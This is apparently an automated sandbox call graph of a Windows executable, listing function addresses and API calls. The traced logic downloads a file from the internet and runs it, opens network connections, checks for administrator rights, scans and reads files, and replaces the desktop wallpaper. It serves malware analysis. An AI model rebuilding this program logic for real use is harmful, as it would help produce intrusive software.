5782->5830 5784->5770 5789 4028fc ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5784->5789 5786->5787 5795 402e90 2 API calls 5786->5795 5787->5775 5788->5776 5792 402da0 8 API calls 5789->5792 5790->5780 5826 402da0 #823 5791->5826 5796 4028a3 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5792->5796 5793->5781 5795->5786 5796->5770 5799 402e7a 5798->5799 5803 402e10 5798->5803 5799->5766 5800 402e4c #825 5801 402e6d 5800->5801 5800->5803 5801->5766 5802 402e40 #825 5802->5800 5803->5800 5803->5802 5805 402b12 wcsstr 5804->5805 5806 402b1f 5804->5806 5805->5806 5807 402b30 _wcsicmp 5806->5807 5808 402be9 _wcsicmp 5806->5808 5811 402b42 5807->5811 5812 402b4d _wcsicmp 5807->5812 5809 402c07 _wcsicmp 5808->5809 5810 402bfc 5808->5810 5813 402c21 _wcsicmp 5809->5813 5814 402c16 5809->5814 5810->5778 5811->5778 5815 402b67 _wcsicmp 5812->5815 5816 402b5c 5812->5816 5813->5778 5814->5778 5817 402b81 _wcsicmp 5815->5817 5818 402b76 5815->5818 5816->5778 5819 402b90 5817->5819 5820 402b9b _wcsicmp 5817->5820 5818->5778 5819->5778 5821 402bb5 wcsstr 5820->5821 5822 402baa 5820->5822 5823 402bc4 5821->5823 5824 402bcf wcsstr 5821->5824 5822->5778 5823->5778 5824->5808 5825 402bde 5824->5825 5825->5778 5827 402dbf 5826->5827 5835 402f10 5827->5835 5829 402de4 5829->5796 5831 402ed0 #825 5830->5831 5832 402eb1 5830->5832 5831->5782 5833 402ec4 #825 5832->5833 5834 402ebd 5832->5834 5833->5831 5834->5831 5836 402f40 5835->5836 5843 403044 5835->5843 5837 402f68 5836->5837 5842 402fdb 5836->5842 5839 402f74 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5837->5839 5840 402f6e ?_Xran@std@ 5837->5840 5838 403035 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5838->5843 5844 402f85 5839->5844 5840->5839 5841 402fc0 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5841->5829 5842->5838 5845 402ff5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5842->5845 5843->5829 5844->5841 5846 402fa1 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5844->5846 5847 403006 5845->5847 5846->5841 5848 402fb7 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 5846->5848 5847->5829 5848->5841 5850 404770 3 API calls 5849->5850 5851 401fac 5850->5851 5852 404770 3 API calls 5851->5852 5853 401fb4 5852->5853 5853->5853 5855 401fe3 5853->5855 5856 401fd0 GlobalFree 5853->5856 5854 40200c 5854->5621 5855->5854 5857 401ff9 GlobalFree 5855->5857 5856->5855 5857->5854 5858->5623 5859->5625 6112 403560 6113 40358c #4376 6112->6113 6114 40356e GetExitCodeThread 6112->6114 6115 403593 6113->6115 6114->6113 6114->6115 6510 40db60 send 6511 409f60 RectVisible 6512 401760 #6453 6513 401791 WaitForSingleObject TerminateThread CloseHandle 6512->6513 6514 4017b8 6512->6514 6513->6514 6515 40193e 6514->6515 6516 4018f6 6514->6516 6517 4017d8 sprintf fopen 6514->6517 6518 401915 6516->6518 6521 401903 rand 6516->6521 6519 401834 8 API calls 6517->6519 6520 4018da #1200 6517->6520 6518->6515 6522 401939 #1200 6518->6522 6519->6515 6520->6515 6521->6518 6522->6515 5860 40a070 DrawTextA 5861 404070 #693 5862 404088 5861->5862 5863 40407f #825 5861->5863 5863->5862 6117 408d70 6118 408e09 GetDeviceCaps 6117->6118 6120 408eb0 6118->6120 6126 408ed8 6118->6126 6121 408eba GetDeviceCaps GetDeviceCaps 6120->6121 6120->6126 6121->6126 6122 4090b6 #2414 6123 408f51 _ftol _ftol 6123->6126 6124 408fca _ftol _ftol _ftol 6125 409024 CreateSolidBrush #1641 6124->6125 6124->6126 6125->6126 6126->6122 6126->6123 6126->6124 6127 409048 FillRect #2414 6126->6127 6128 409083 #2754 6126->6128 6127->6126 6128->6126 6246 404670 6251 404690 DeleteCriticalSection 6246->6251 6248 404678 6249 404688 6248->6249 6250 40467f #825 6248->6250 6250->6249 6251->6248 6523 409b70 #2379 6530 403f70 6535 403f90 #2414 6530->6535 6532 403f78 6533 403f88 6532->6533 6534 403f7f #825 6532->6534 6534->6533 6535->6532 6536 404f70 #4476 6537 404f91 6536->6537 6538 404fc7 #3089 6536->6538 6537->6538 6539 404f9b 6537->6539 6252 403271 #2302 #2302 6253 406a00 #4476 6254 406a23 6253->6254 6256 406a62 6253->6256 6255 406a38 #3089 6254->6255 6254->6256 6255->6256 6257 406a46 #3089 6255->6257 6257->6256 6258 406a54 #3089 6257->6258 6258->6256 6259 401600 6260 4016e5 6259->6260 6261 40161a 6259->6261 6262 4016e9 #537 6260->6262 6266 4016de 6260->6266 6263 40161d 6261->6263 6264 40168f 6261->6264 6282 401970 #3092 #6199 #800 6262->6282 6268 401743 #2385 6263->6268 6271 401628 #537 6263->6271 6272 40165e 6263->6272 6265 401693 #537 6264->6265 6264->6266 6281 401970 #3092 #6199 #800 6265->6281 6266->6268 6270 401701 SendMessageA #2385 6279 401970 #3092 #6199 #800 6271->6279 6272->6266 6275 401663 #537 6272->6275 6273 4016ab SendMessageA #2385 6280 401970 #3092 #6199 #800 6275->6280 6276 401640 #2385 6278 40167b #2385 6279->6276 6280->6278 6281->6273 6282->6270 6540 403f00 6545 403f20 #2414 6540->6545 6542 403f08 6543 403f18 6542->6543 6544 403f0f #825 6542->6544 6544->6543 6545->6542 5531 413102 __set_app_type __p__fmode __p__commode 5532 413171 5531->5532 5533 413185 5532->5533 5534 413179 __setusermatherr 5532->5534 5543 4133b2 _controlfp 5533->5543 5534->5533 5536 41318a _initterm __getmainargs _initterm 5537 4131de GetStartupInfoA 5536->5537 5539 413212 GetModuleHandleA 5537->5539 5544 4133e6 #1576 5539->5544 5542 413236 exit _XcptFilter 5543->5536 5544->5542 5872 404410 SetCursor 5864 403810 WideCharToMultiByte 5867 403e60 SendMessageA #3998 SendMessageA 5864->5867 5866 403845 5867->5866 5868 403410 #4476 5869 403454 #3089 5868->5869 5870 403431 5868->5870 5871 40343b 5869->5871 5870->5869 5870->5871 6129 401110 #2302 6546 404310 6547 404333 6546->6547 6548 40433a #470 #5789 #5875 #6172 6546->6548 6549 4044c0 7 API calls 6547->6549 6550 40438a #5789 #755 6548->6550 6549->6548 6551 401f10 6552 401f30 6 API calls 6551->6552 6553 401f18 6552->6553 6554 401f28 6553->6554 6555 401f1f #825 6553->6555 6555->6554 6289 40ca19 6290 40ca26 6289->6290 6291 40ca28 #823 6289->6291 6290->6291 6134 409920 6139 4098c0 6134->6139 6137 409938 6138 40992f #825 6138->6137 6140 4098f2 #5875 6139->6140 6141 4098fb 6139->6141 6140->6141 6141->6137 6141->6138 6301 405a20 6302 405a25 6301->6302 6305 4130bb 6302->6305 6308 41308f 6305->6308 6307 405a4a 6309 4130a4 __dllonexit 6308->6309 6310 413098 _onexit 6308->6310 6309->6307 6310->6307 5874 409c20 #3797 5875 409c40 #6734 5874->5875 5876 409c36 5874->5876 5877 409c5b SendMessageA 5875->5877 5878 409c78 5875->5878 5877->5878 5879 409ce4 5878->5879 5880 409caa 5878->5880 5881 409cf6 5879->5881 5882 409ce8 InvalidateRect 5879->5882 5883 409cd4 #4284 5880->5883 5884 409cc4 #4284 5880->5884 5882->5881 5883->5881 5884->5881 6292 401220 6293 4012c2 #2379 6292->6293 6294 401233 6292->6294 6295 401243 SendMessageA KillTimer #4853 6294->6295 6296 40126b SendMessageA 6294->6296 6295->6296 6297 401285 SendMessageA 6296->6297 6298 401297 6296->6298 6297->6298 6298->6293 6299 4012a1 SendMessageA 6298->6299 6299->6293 6300 4012b8 6299->6300 6300->6293 6319 404620 #795 6320 404638 6319->6320 6321 40462f #825 6319->6321 6321->6320 5873 40a020 TabbedTextOutA 5885 408c20 5890 408b40 5885->5890 5887 408c28 5888 408c38 5887->5888 5889 408c2f #825 5887->5889 5889->5888 5891 408bd0 5890->5891 5892 408b78 BitBlt 5890->5892 5894 408bd6 #2414 #640 5891->5894 5895 408bc1 #5785 5892->5895 5896 408bb5 #5785 5892->5896 5894->5887 5895->5894 5896->5894 6311 409a20 6316 4099c0 6311->6316 6314 409a38 6315 409a2f #825 6315->6314 6317 409a03 6316->6317 6318 4099f3 #6170 6316->6318 6317->6314 6317->6315 6318->6317 6560 409b20 6561 409b31 6560->6561 6562 409b33 #6140 6560->6562 6561->6562 5897 413427 5898 41342c 5897->5898 5901 4133fe #1168 5898->5901 5902 413421 5901->5902 5903 413418 _setmbcp 5901->5903 5903->5902 5907 407c30 OpenClipboard 5908 407c42 GlobalAlloc 5907->5908 5909 407ca9 5907->5909 5910 407c64 EmptyClipboard GlobalLock GlobalUnlock SetClipboardData CloseClipboard 5908->5910 5911 407c5b CloseClipboard 5908->5911 5910->5909 6143 402d30 6144 402d73 #825 6143->6144 6145 402d3f 6143->6145 6146 402d40 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N #825 6145->6146 6146->6146 6147 402d72 6146->6147 6147->6144 5904 40d830 inet_addr 5905 40d844 gethostbyname 5904->5905 5906 40d84f 5904->5906 5905->5906 5912 404430 5913 40447b 5912->5913 5914 40443d _TrackMouseEvent #2379 5912->5914 5917 404489 5913->5917 5919 404530 5913->5919 5918 4044a1 SetCursor #2379 5917->5918 5920 4045c1 5919->5920 5921 404552 5919->5921 5920->5917 5921->5920 5922 404559 #289 #5789 GetTextExtentPoint32A #5789 #613 5921->5922 5922->5920 6142 406930 #6215 6322 405230 6329 405369 6322->6329 6332 40525a 6322->6332 6323 405552 InvalidateRect 6328 405560 6323->6328 6324 405285 6325 4052ee 7 API calls 6324->6325 6326 40528f #4277 #923 #858 #800 #800 6324->6326 6325->6323 6326->6323 6327 40539e 6330 405430 6327->6330 6331 4053aa 7 API calls 6327->6331 6329->6323 6329->6327 6336 405390 #940 6329->6336 6333 4054b4 6330->6333 6334 405435 7 API calls 6330->6334 6331->6323 6332->6324 6335 405277 #940 6332->6335 6337 4054b8 6333->6337 6339 405503 6333->6339 6334->6323 6335->6324 6335->6335 6336->6327 6336->6336 6337->6323 6338 4054de #6778 #6648 6337->6338 6338->6338 6340 405501 6338->6340 6339->6323 6339->6328 6341 405529 #6778 #6648 6339->6341 6340->6323 6341->6323 6341->6341 6342 40d630 6347 40d650 6342->6347 6344 40d638 6345 40d648 6344->6345 6346 40d63f #825 6344->6346 6346->6345 6348 40dad0 4 API calls 6347->6348 6349 40d680 6348->6349 6349->6344 6148 402531 6149 402543 6148->6149 6150 40253c CloseHandle 6148->6150 6151 402555 6149->6151 6152 40254e CloseHandle 6149->6152 6150->6149 6152->6151 6350 40ca3a 6353 40ca40 6350->6353 6351 40ca81 6352 40ca87 #825 6352->6351 6353->6351 6353->6352 5923 4068c0 #4837 6354 4032c0 6 API calls 6355 403334 SendMessageA #3092 6354->6355 6357 40335c SendMessageA #3092 6355->6357 6359 40337b SendMessageA #3092 6357->6359 6361 4033a0 SendMessageA 6359->6361 6362 40339d 6359->6362 6365 403cb0 FindFirstFileA 6361->6365 6362->6361 6364 4033b2 SendMessageA #3996 SendMessageA 6366 403cd9 6365->6366 6367 403ce3 6365->6367 6366->6364 6368 403e1f FindNextFileA 6367->6368 6370 403d14 sscanf 6367->6370 6368->6367 6369 403e3a FindClose 6368->6369 6369->6364 6370->6368 6371 403d38 fopen 6370->6371 6371->6368 6372 403d5c fread 6371->6372 6373 403e15 fclose 6372->6373 6377 403d7b 6372->6377 6373->6368 6374 403d8f sprintf 6375 403dd4 SendMessageA #823 SendMessageA 6374->6375 6375->6373 6377->6373 6377->6374 6377->6375 6378 401c30 inet_ntoa 6377->6378 6378->6377 6563 4043c0 #6453 #2414 6564 409fc0 TextOutA 5924 404cd0 5929 404cf0 #2414 #2414 #800 #641 5924->5929 5926 404cd8 5927 404ce8 5926->5927 5928 404cdf #825 5926->5928 5928->5927 5929->5926 4642 4064d0 #4710 SendMessageA SendMessageA 4686 401c70 wcscat 4642->4686 4644 406516 4645 406577 4644->4645 4646 40651d GetModuleFileNameA strrchr 4644->4646 4695 401a10 4645->4695 4647 40656c SetCurrentDirectoryA 4646->4647 4648 40655d strrchr 4646->4648 4647->4645 4648->4647 4650 406585 4651 4065e5 4650->4651 4652 40658c time 4650->4652 4705 402c40 4651->4705 4653 401a10 5 API calls 4652->4653 4653->4651 4655 4065ed __p___argc 4656 406606 4655->4656 4657 40678c 4656->4657 4658 40660f __p___argv 4656->4658 4753 407e80 SHGetFolderPathW wcslen 4657->4753 4660 406621 4658->4660 4663 406661 __p___argv 4660->4663 4664 406652 4660->4664 4661 406793 SetWindowTextW 4756 406f80 4661->4756 4667 40666d 4663->4667 4724 407f80 fopen 4664->4724 4665 4067a9 4814 406c20 GetUserDefaultLangID GetLocaleInfoA 4665->4814 4671 4066ad __p___argv 4667->4671 4672 40669e 4667->4672 4670 4067b0 SetTimer SetTimer 4674 4066b9 4671->4674 4734 4080c0 FindFirstFileA 4672->4734 4674->4657 4676 4066ee Sleep 4674->4676 4711 401bb0 AllocateAndInitializeSid 4676->4711 4678 406734 4679 406750 sprintf 4678->4679 4680 406738 4678->4680 4716 401a90 CreateProcessA 4679->4716 4752 401b50 ShellExecuteExA 4680->4752 4683 40674b 4685 406784 ExitProcess 4683->4685 4684 406781 4684->4685 4688 401cdc 4686->4688 4687 401d00 RegCreateKeyW 4687->4688 4688->4687 4689 401d62 RegQueryValueExA 4688->4689 4690 401d1d GetCurrentDirectoryA RegSetValueExA 4688->4690 4691 401dbb 4688->4691 4692 401d9e RegCloseKey 4689->4692 4693 401d90 SetCurrentDirectoryA 4689->4693 4690->4692 4691->4644 4692->4688 4694 401dc8 4692->4694 4693->4692 4694->4644 4696 401a1a fopen 4695->4696 4698 401a3a 4696->4698 4699 401a6f 4696->4699 4700 401a53 fwrite 4698->4700 4701 401a46 fread 4698->4701 4699->4650 4702 401a5e 4700->4702 4701->4702 4703 401a74 fclose 4702->4703 4704 401a66 fclose 4702->4704 4703->4650 4704->4699 4823 404b70 4705->4823 4707 402c46 4708 402c57 4707->4708 4709 402c5e LoadLibraryA 4707->4709 4708->4655 4709->4708 4710 402c73 7 API calls 4709->4710 4710->4708 4712 401bf6 4711->4712 4713 401bfb CheckTokenMembership 4711->4713 4712->4678 4714 401c10 4713->4714 4715 401c14 FreeSid 4713->4715 4714->4715 4715->4678 4717 401b45 4716->4717 4718 401aed 4716->4718 4717->4684 4719 401af5 WaitForSingleObject 4718->4719 4720 401b26 CloseHandle CloseHandle 4718->4720 4721 401b12 4719->4721 4722 401b05 TerminateProcess 4719->4722 4720->4684 4721->4720 4723 401b1a GetExitCodeProcess 4721->4723 4722->4721 4723->4720 4725 407fd0 fread fclose 4724->4725 4733 406659 ExitProcess 4724->4733 4828 40be90 strncpy strncpy strncpy 4725->4828 4727 408002 4829 40c4f0 4727->4829 4729 40801d 4730 40c4f0 112 API calls 4729->4730 4731 408041 4729->4731 4730->4731 4732 401a10 5 API calls 4731->4732 4731->4733 4732->4733 4735 40820a 4734->4735 4747 408124 4734->4747 5288 401e30 4735->5288 4738 4081e4 FindNextFileA 4739 4081ff FindClose 4738->4739 4738->4747 4739->4735 4740 401e30 2 API calls 4742 408255 sprintf #537 4740->4742 4741 408158 sscanf 4741->4738 4743 408178 fopen 4741->4743 5293 4082c0 4742->5293 4743->4738 4745 408190 fread 4743->4745 4745->4747 4748 4081bd fclose 4745->4748 4747->4738 4747->4741 4747->4748 4748->4738 4748->4747 4749 408291 #537 4751 4082c0 141 API calls 4749->4751 4750 4066a5 ExitProcess 4751->4750 4752->4683 4754 407f02 4753->4754 4755 407f09 swprintf MultiByteToWideChar CopyFileW SystemParametersInfoW 4753->4755 4754->4661 4755->4661 5350 4076a0 4756->5350 4758 406fa8 27 API calls 4759 407119 4758->4759 4760 40711c SendMessageA #3092 4758->4760 4759->4760 4761 40713d SendMessageA #3092 4760->4761 4763 40715f SendMessageA #3092 4761->4763 4765 407181 SendMessageA #3092 4763->4765 4767 4071a3 SendMessageA #3092 4765->4767 4769 4071c5 SendMessageA #3092 4767->4769 4771 4071e7 4769->4771 4772 4071ea SendMessageA #3092 4769->4772 4771->4772 4773 407205 SendMessageA #3092 4772->4773 4775 407227 SendMessageA #3092 4773->4775 4777 407249 SendMessageA #3092 4775->4777 4779 40726b 4777->4779 4780 40726e SendMessageA #860 4777->4780 4779->4780 4781 4072a4 4780->4781 4782 4072ed #537 4781->4782 5366 404210 #858 #800 4782->5366 4784 407309 #537 5367 404210 #858 #800 4784->5367 4786 407325 #540 #2818 #535 5368 404210 #858 #800 4786->5368 4788 407369 5369 404270 4788->5369 4792 4073a8 SendMessageA SendMessageA #6140 #6140 4793 407428 4792->4793 5373 405920 4793->5373 4797 407457 5381 4058c0 4797->5381 4799 407460 5384 405180 _mbscmp 4799->5384 4801 407477 4802 405920 2 API calls 4801->4802 4803 4074ac 4802->4803 4804 405860 2 API calls 4803->4804 4805 4074b5 4804->4805 4806 4058c0 2 API calls 4805->4806 4807 4074be 4806->4807 4808 405180 4 API calls 4807->4808 4809 4074d5 GetTimeZoneInformation 4808->4809 5390 401e60 VariantTimeToSystemTime 4809->5390 4811 407508 SystemTimeToTzSpecificLocalTime #2818 5391 401e60 VariantTimeToSystemTime 4811->5391 4813 40759b SystemTimeToTzSpecificLocalTime #2818 #6334 #800 4813->4665 4815 406c81 SendMessageA 4814->4815 4816 406c5d 4814->4816 4817 406cc1 SendMessageA 4815->4817 4818 406ca1 SendMessageA 4815->4818 4816->4815 4820 406ae0 27 API calls 4817->4820 5398 406ae0 8 API calls 4818->5398 4821 406cdd 4820->4821 4821->4670 4822 406cba 4822->4670 4824 404b81 LoadLibraryA 4823->4824 4825 404b7a 4823->4825 4826 404b96 6 API calls 4824->4826 4827 404bf6 4824->4827 4825->4707 4826->4827 4827->4707 4828->4727 4830 40c50f 4829->4830 4843 40bed0 4830->4843 4832 40c54b 4833 40c596 4832->4833 4862 40dd00 4832->4862 4865 40dbf0 4833->4865 4836 40c5e7 4836->4729 4837 40c568 4837->4833 4838 40c600 4837->4838 4839 40c635 4838->4839 4840 40c617 strncpy 4838->4840 4841 40dbf0 free 4839->4841 4840->4839 4842 40c650 4841->4842 4842->4729 4844 40bef5 4843->4844 4845 40bf0a #823 4843->4845 4844->4845 4846 40bf2e 4845->4846 4847 40bf27 4845->4847 4849 40bf46 4846->4849 4873 40baf0 4846->4873 4869 40d5e0 4847->4869 4849->4832 4852 40bf72 4852->4832 4853 40bf8a GetComputerNameA GetUserNameA 4905 40dc00 4853->4905 4856 40dd00 4 API calls 4857 40c01f 4856->4857 4858 40dc00 4 API calls 4857->4858 4859 40c038 4858->4859 4860 40dd00 4 API calls 4859->4860 4861 40c047 4860->4861 4861->4832 4863 40dc00 4 API calls 4862->4863 4864 40dd1c 4863->4864 4864->4837 4866 40dd70 4865->4866 4867 40dd8b 4866->4867 5284 412ac0 4866->5284 4867->4836 4870 40d602 4869->4870 4914 40dad0 4870->4914 4917 40ba10 4873->4917 4875 40bdf5 4875->4852 4875->4853 4876 40bb14 4876->4875 4877 40bb42 4876->4877 4922 40ba60 4876->4922 4877->4875 4926 40c8f0 #823 4877->4926 4881 40bc1b strtok 4885 40bc30 4881->4885 4896 40bbb7 4881->4896 4882 40ba60 closesocket 4884 40bc8b 4882->4884 4886 40bc92 4884->4886 4887 40bcec GetTickCount srand 4884->4887 4885->4882 4885->4887 4948 40c860 4886->4948 4890 40bdc7 4887->4890 4891 40bd07 rand 4887->4891 4893 40c860 2 API calls 4890->4893 4901 40bd1e 4891->4901 4892 40bcd8 #825 4892->4875 4895 40bde8 #825 4893->4895 4895->4875 4896->4881 4898 40c7b0 #825 4896->4898 4928 40c7b0 4896->4928 4932 40c920 4896->4932 4944 40c800 #823 4896->4944 4897 40ba60 closesocket 4897->4901 4898->4881 4899 40be75 #825 4899->4875 4900 40be11 4900->4899 4960 40c740 4900->4960 4901->4897 4901->4900 4954 40ce50 4901->4954 4906 40dc15 4905->4906 4912 40c013 4905->4912 4907 40dc77 4906->4907 4908 40dc49 4906->4908 4906->4912 5283 412aa0 realloc 4907->5283 5282 412a90 malloc 4908->5282 4911 40dc51 4911->4912 4913 40dc8d ??0exception@@QAE@ABQBD _CxxThrowException 4911->4913 4912->4856 4913->4912 4915 40d61e 4914->4915 4916 40dadf setsockopt send shutdown closesocket 4914->4916 4915->4846 4916->4915 4918 40ba27 4917->4918 4919 40ba2b 4918->4919 4965 40b840 sprintf GetFileAttributesA 4918->4965 4919->4876 4921 40ba31 4921->4876 4923 40ba88 4922->4923 5218 40d8c0 4923->5218 4927 40bb62 strtok 4926->4927 4927->4885 4927->4896 4929 40c7d0 4928->4929 4930 40c7bb 4928->4930 4929->4896 4930->4929 4931 40c7d6 #825 4930->4931 4931->4929 4933 40c932 4932->4933 4934 40c92d ?_Xlen@std@ 4932->4934 4935 40c973 4933->4935 4936 40c963 4933->4936 4937 40c946 4933->4937 4934->4933 4940 40c990 4935->4940 4941 40c7b0 #825 4935->4941 4938 40c7b0 #825 4936->4938 4942 40c94a 4937->4942 5222 40c9c0 4937->5222 4939 40c96c 4938->4939 4939->4896 4940->4896 4941->4937 4942->4896 4945 40c81f 4944->4945 5228 40cad0 4945->5228 4947 40c844 4947->4896 4949 40c8d9 4948->4949 4951 40c870 4948->4951 4949->4892 4950 40c8ab #825 4950->4951 4953 40c8cc 4950->4953 4951->4950 4952 40c8a2 #825 4951->4952 4952->4950 4953->4892 4955 40ce68 4954->4955 4956 40ce5a 4954->4956 4958 40ce94 #825 4955->4958 4959 40bd9e #825 Sleep 4955->4959 4956->4955 4957 40ce6e #825 4956->4957 4957->4955 4958->4959 4959->4890 4959->4891 4961 40c761 4960->4961 4962 40c77e #825 4960->4962 4963 40c775 #825 4961->4963 4964 40c76f 4961->4964 4962->4900 4963->4962 4964->4962 4966 40b898 4965->4966 4967 40b95b CreateProcessA 4965->4967 4982 40b6a0 CreateDirectoryA 4966->4982 4969 40b9b4 4967->4969 4970 40b9bf WaitForSingleObject 4967->4970 4969->4921 4971 40b9e4 CloseHandle CloseHandle 4970->4971 4972 40b9d8 WaitForSingleObject 4970->4972 4971->4921 4972->4971 4973 40b8a9 4974 40b8e9 sprintf GetFileAttributesA 4973->4974 4996 40b780 CreateDirectoryA 4973->4996 4976 40b946 CopyFileA 4974->4976 4977 40b93b 4974->4977 4976->4967 4977->4921 4978 40b8c1 4978->4974 4979 40b780 60 API calls 4978->4979 4980 40b8d9 4979->4980 4980->4974 4981 40b8e0 4980->4981 4981->4921 5004 412920 4982->5004 4985 40b6d8 DeleteFileA 4985->4973 4986 40b6ec 5007 412940 4986->5007 4988 40b70e 4989 40b719 4988->4989 4990 40b76a 4988->4990 4992 412940 14 API calls 4988->4992 4989->4973 5016 412a00 4990->5016 4994 40b738 sprintf 4992->4994 4993 40b770 4993->4973 5013 4129e0 4994->5013 4997 40b81b 4996->4997 4998 40b7ae GetTempFileNameA DeleteUrlCacheEntry URLDownloadToFileA 4996->4998 4997->4978 4999 40b810 DeleteFileA 4998->4999 5000 40b7f6 4998->5000 4999->4997 5001 40b6a0 54 API calls 5000->5001 5002 40b809 5001->5002 5002->4999 5003 40b827 DeleteFileA 5002->5003 5003->4978 5027 4127e0 #823 5004->5027 5006 40b6cf 5006->4985 5006->4986 5008 412964 5007->5008 5009 412959 5007->5009 5010 412969 5008->5010 5053 411cf0 5008->5053 5009->4988 5010->4988 5012 412982 5012->4988 5143 412990 5013->5143 5015 4129f8 5015->4988 5017 412a15 5016->5017 5018 412a09 5016->5018 5019 412a1a 5017->5019 5205 4127a0 5017->5205 5018->4993 5019->4993 5022 412a7d #825 5022->4993 5023 412a44 #825 5024 412a4d 5023->5024 5025 412a61 #825 5024->5025 5026 412a6a #825 5024->5026 5025->5026 5026->5022 5028 412815 5027->5028 5029 41287a 5027->5029 5028->5029 5030 41283d #823 5028->5030 5040 411c00 5029->5040 5030->5029 5032 41289d 5033 4128a6 5032->5033 5034 4128f8 #823 5032->5034 5035 4128e5 5033->5035 5036 4128b4 #825 5033->5036 5037 4128bd 5033->5037 5034->5006 5035->5006 5036->5037 5038 4128d6 #825 5037->5038 5039 4128cd #825 5037->5039 5038->5035 5039->5038 5041 411c10 5040->5041 5042 411ce2 5040->5042 5041->5042 5043 411c1a GetCurrentDirectoryA 5041->5043 5042->5032 5044 411c45 5043->5044 5045 411c80 SetFilePointer 5044->5045 5046 411c9e 5044->5046 5045->5046 5047 411c92 5045->5047 5048 4108a0 CreateFileA SetFilePointer #823 SetFilePointer 5046->5048 5047->5032 5049 411caf 5048->5049 5050 411cb6 5049->5050 5051 410dc0 9 API calls 5049->5051 5050->5032 5052 411cc7 5051->5052 5052->5032 5054 412231 5053->5054 5055 411d11 5053->5055 5054->5012 5055->5054 5059 411d27 5055->5059 5086 411ac0 5055->5086 5057 411d37 5057->5012 5058 411dc2 5061 411ddc 5058->5061 5098 4113e0 5058->5098 5059->5057 5059->5058 5093 411390 5059->5093 5104 411350 5061->5104 5066 411e15 5067 411e1c 5066->5067 5131 410a50 5066->5131 5067->5012 5069 411e3e 5070 411e45 5069->5070 5071 411e56 #823 5069->5071 5070->5012 5138 410af0 5071->5138 5073 411e78 5074 411e83 #825 5073->5074 5075 411e9d _mbsstr 5073->5075 5074->5012 5077 411f15 _mbsstr 5075->5077 5077->5075 5078 411f2c _mbsstr 5077->5078 5078->5075 5079 411f43 _mbsstr 5078->5079 5079->5075 5080 411f5a 5079->5080 5142 411b80 SystemTimeToFileTime 5080->5142 5082 412063 LocalFileTimeToFileTime 5085 4120b6 5082->5085 5083 412203 5083->5012 5084 4121fa #825 5084->5083 5085->5083 5085->5084 5087 411acd 5086->5087 5089 411ad6 5086->5089 5087->5059 5088 411add 5088->5059 5089->5088 5090 411b02 free 5089->5090 5092 411b11 5089->5092 5090->5092 5091 411b2a free 5091->5059 5092->5091 5094 4113a0 5093->5094 5095 411399 5093->5095 5096 411000 SetFilePointer SetFilePointer ReadFile 5094->5096 5095->5058 5097 4113c7 5096->5097 5097->5058 5099 4113f0 5098->5099 5100 4113e9 5098->5100 5101 4113f7 5099->5101 5102 411000 SetFilePointer SetFilePointer ReadFile 5099->5102 5100->5058 5101->5058 5103 411444 5102->5103 5103->5058 5105 411000 SetFilePointer SetFilePointer ReadFile 5104->5105 5106 41137f 5105->5106 5107 411460 5106->5107 5108 410a50 SetFilePointer SetFilePointer 5107->5108 5109 411491 5108->5109 5110 411498 5109->5110 5111 410c00 ReadFile 5109->5111 5110->5066 5112 4114af 5111->5112 5113 410bb0 ReadFile 5112->5113 5114 4114d7 5113->5114 5115 410bb0 ReadFile 5114->5115 5116 4114ee 5115->5116 5117 410bb0 ReadFile 5116->5117 5118 411505 5117->5118 5119 410c00 ReadFile 5118->5119 5120 41153b 5119->5120 5121 410c00 ReadFile 5120->5121 5122 411552 5121->5122 5123 410c00 ReadFile 5122->5123 5125 411586 5123->5125 5124 410c00 ReadFile 5126 4115ba 5124->5126 5125->5124 5127 410bb0 ReadFile 5126->5127 5129 4115ee 5127->5129 5128 410bb0 ReadFile 5130 411621 5128->5130 5129->5128 5130->5066 5132 410a5a 5131->5132 5135 410aaa 5131->5135 5133 410a82 5132->5133 5134 410a69 SetFilePointer 5132->5134 5132->5135 5136 410aa4 5133->5136 5137 410a90 SetFilePointer 5133->5137 5134->5069 5135->5069 5136->5069 5137->5069 5139 410b31 5138->5139 5140 410b07 ReadFile 5138->5140 5139->5073 5141 410b22 5140->5141 5141->5073 5142->5082 5144 4129a3 5143->5144 5145 412998 5143->5145 5146 4129a8 5144->5146 5149 412360 5144->5149 5145->5015 5146->5015 5148 4129cf 5148->5015 5150 412378 5149->5150 5151 41239c 5149->5151 5155 4124ab 5150->5155 5156 41238a 5150->5156 5161 411ac0 free free 5150->5161 5152 41240e 5151->5152 5153 4123b7 5151->5153 5158 411ac0 free free 5151->5158 5154 411810 SetFilePointer SetFilePointer ReadFile 5152->5154 5160 4123c8 5153->5160 5164 4123e5 5153->5164 5168 411390 SetFilePointer SetFilePointer ReadFile 5153->5168 5159 412431 5154->5159 5157 4124bf 5155->5157 5162 4124dc 5155->5162 5165 411390 SetFilePointer SetFilePointer ReadFile 5155->5165 5156->5148 5157->5148 5158->5153 5163 412442 5159->5163 5166 411ac0 free free 5159->5166 5160->5148 5161->5155 5167 4124f6 5162->5167 5170 4113e0 SetFilePointer SetFilePointer ReadFile 5162->5170 5163->5148 5169 4123ff 5164->5169 5172 4113e0 SetFilePointer SetFilePointer ReadFile 5164->5172 5165->5162 5166->5163 5171 411cf0 14 API calls 5167->5171 5168->5164 5173 411660 8 API calls 5169->5173 5170->5162 5174 412506 5171->5174 5172->5164 5173->5152 5175 412578 5174->5175 5179 412510 5174->5179 5176 41257d 5175->5176 5180 4125da 5175->5180 5185 4125df wsprintfA 5175->5185 5187 412671 wsprintfA 5175->5187 5182 412637 5176->5182 5183 411660 8 API calls 5176->5183 5177 412515 5177->5148 5178 41253f 5181 412250 GetFileAttributesA CreateDirectoryA GetFileAttributesA CreateDirectoryA 5178->5181 5179->5177 5179->5178 5184 412559 5179->5184 5180->5185 